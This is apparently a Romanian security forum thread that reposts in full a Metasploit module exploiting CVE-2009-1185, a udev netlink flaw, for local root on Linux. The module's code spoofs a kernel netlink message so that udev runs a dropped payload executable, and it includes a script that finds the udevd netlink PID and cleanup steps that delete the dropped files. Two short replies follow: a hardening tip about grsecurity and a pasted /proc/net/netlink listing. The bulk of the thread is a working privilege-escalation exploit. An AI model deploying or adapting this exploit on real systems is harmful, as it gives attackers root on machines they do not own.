Nytro Posted October 16, 2012 Report Share Posted October 16, 2012 [h=1]Linux udev Netlink Local Privilege Escalation[/h]### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'require 'rex'require 'msf/core/post/common'require 'msf/core/post/file'require 'msf/core/post/linux/priv'require 'msf/core/exploit/local/linux_kernel'require 'msf/core/exploit/local/linux'require 'msf/core/exploit/local/unix'#load 'lib/msf/core/post/file.rb'#load 'lib/msf/core/exploit/local/unix.rb'#load 'lib/msf/core/exploit/local/linux.rb'#load 'lib/msf/core/exploit/local/linux_kernel.rb'class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { 'Name' => 'Linux udev Netlink Local Privilege Escalation', 'Description' => %q{ Versions of udev < 1.4.1 do not verify that netlink messages are coming from the kernel. This allows local users to gain privileges by sending netlink messages from userland. }, 'License' => MSF_LICENSE, 'Author' => [ 'kcope', # discovery 'Jon Oberheide', # 95-udev-late.rules technique 'egypt' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2009-1185' ], [ 'OSVDB', '53810' ], [ 'BID', '34536' ] ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ], #[ 'Command payload', { 'Arch' => ARCH_CMD } ], ], 'DefaultOptons' => { 'WfsDelay' => 2 }, 'DefaultTarget' => 0, 'DisclosureDate' => "", } )) register_options([ OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]), ], self.class) end def exploit if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0 netlink_pid = datastore["NetlinkPID"] else print_status("Attempting to autodetect netlink pid...") netlink_pid = autodetect_netlink_pid end if not netlink_pid print_error "Couldn't autodetect netlink PID, try specifying it manually." print_error "Look in /proc/net/netlink for a PID near that of the udevd process" return else print_good "Found netlink pid: #{netlink_pid}" end sc = Metasm::ELF.new(@cpu) sc.parse %Q| #define DEBUGGING #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx .entrypoint #endif call main push eax call exit | # Set up the same include order as the bionic build system. # See external/source/meterpreter/source/bionic/libc/Jamfile cparser.lexer.include_search_path = [ "external/source/meterpreter/source/bionic/libc/include/", "external/source/meterpreter/source/bionic/libc/private/", "external/source/meterpreter/source/bionic/libc/bionic/", "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", "external/source/meterpreter/source/bionic/libc/kernel/common/", "external/source/meterpreter/source/bionic/libc/arch-x86/include/", ] cparser.parse(%Q| #define DEBUGGING // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h #ifndef __extension__ #define __extension__ #endif // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h // Doing #if on an undefined macro is fine in GCC, but a parse error in // metasm. #ifndef __STDC__ #define __STDC__ 0 #endif #include <sys/types.h> #include <stdarg.h> #include <stdio.h> #include <unistd.h> #include <errno.h> |) [ "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", ].each do |fname| cparser.parse(File.read(fname), fname) end payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" unix_socket_h(sc) linux_x86_syscall_wrappers(sc) main = %Q^#include <string.h>#include <linux/netlink.h>#define NULL 0int main() { int sock; struct iovec iov; struct sockaddr_nl sa; struct msghdr msg; char *mp; char message[4096]; memset(sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = #{netlink_pid}; sa.nl_groups = 0; memset(&msg, 0x00, sizeof(struct msghdr)); msg.msg_name = (void *)&sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = NULL; msg.msg_controllen = 0; msg.msg_flags = 0; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &sa, sizeof(sa)); mp = message; mp += sprintf(mp, "remove@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1; iov.iov_base = (void*)message; iov.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0;}^ cparser.parse(main, "main.c") asm = cpu.new_ccompiler(cparser, sc).compile sc.parse asm sc.assemble begin elf = sc.encode_string rescue print_error "Metasm Encoding failed: #{$!}" elog "Metasm Encoding failed: #{$!.class} : #{$!}" elog "Call stack:\n#{$!.backtrace.join("\n")}" return end pl = payload.encoded_exe print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}" write_file(payload_path, pl) print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}" write_file(evil_path, elf) print_status "chmod'ing and running it..." cmd_exec("chmod 755 #{evil_path} #{payload_path}") cmd_exec("#{evil_path}") rm_f(evil_path, payload_path) end def autodetect_netlink_pid netlink_pid = nil case session.type when "meterpreter" print_status("Meterpreter session, using get_processes to find netlink pid") process_list = session.sys.process.get_processes udev_proc = process_list.find {|p| p["name"] =~ /udevd/ } udev_pid = udev_proc["pid"] print_status "udev pid: #{udev_pid}" netlink = read_file("/proc/net/netlink") netlink.each_line do |line| pid = line.split(/\s+/)[2].to_i if pid == udev_pid - 1 netlink_pid = pid break end end else print_status("Shell session, trying sh script to find netlink pid") netlink_pid = cmd_exec( %q^ for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ; done; done ^) netlink_pid = nil if netlink_pid.empty? end netlink_pid endendSursa: Linux udev Netlink Local Privilege Escalation Quote Link to comment Share on other sites More sharing options...
aelius Posted October 16, 2012 Report Share Posted October 16, 2012 Cea mai buna metoda de a preveni exploit-urile locale este sa va faceti un kernel custom cu grsec si sa acordati atentie la permisiunile directoarelor.Pe grsec:tex@mars:~$ iduid=1000(tex) gid=1000(tex) groups=1000(tex)tex@mars:~$ ls -la /proc/net/ls: reading directory /proc/net/: Invalid argumenttotal 0tex@mars:~$ Quote Link to comment Share on other sites More sharing options...
zin0 Posted October 18, 2012 Report Share Posted October 18, 2012 $ cat /proc/net/netlinksk Eth Pid Groups Rmem Wmem Dump Locksf7841000 0 0 00000000 0 0 00000000 2f6d4f200 0 2316 00000111 0 0 00000000 2f790ac00 6 0 00000000 0 0 00000000 2f794f600 7 0 00000000 0 0 00000000 2incarca cu cat /proc/net/netlink si iti afiseaza pid-urilef790ba00 9 0 00000000 0 0 00000000 2f7909a00 10 0 00000000 0 0 00000000 2f78d9000 11 0 00000000 0 0 00000000 2f7056400 15 516 00000001 0 0 00000000 2f7841600 15 0 00000000 0 0 00000000 2f78d9600 16 0 00000000 0 0 00000000 2f7bdfe00 18 0 00000000 0 0 00000000 2$ Quote Link to comment Share on other sites More sharing options...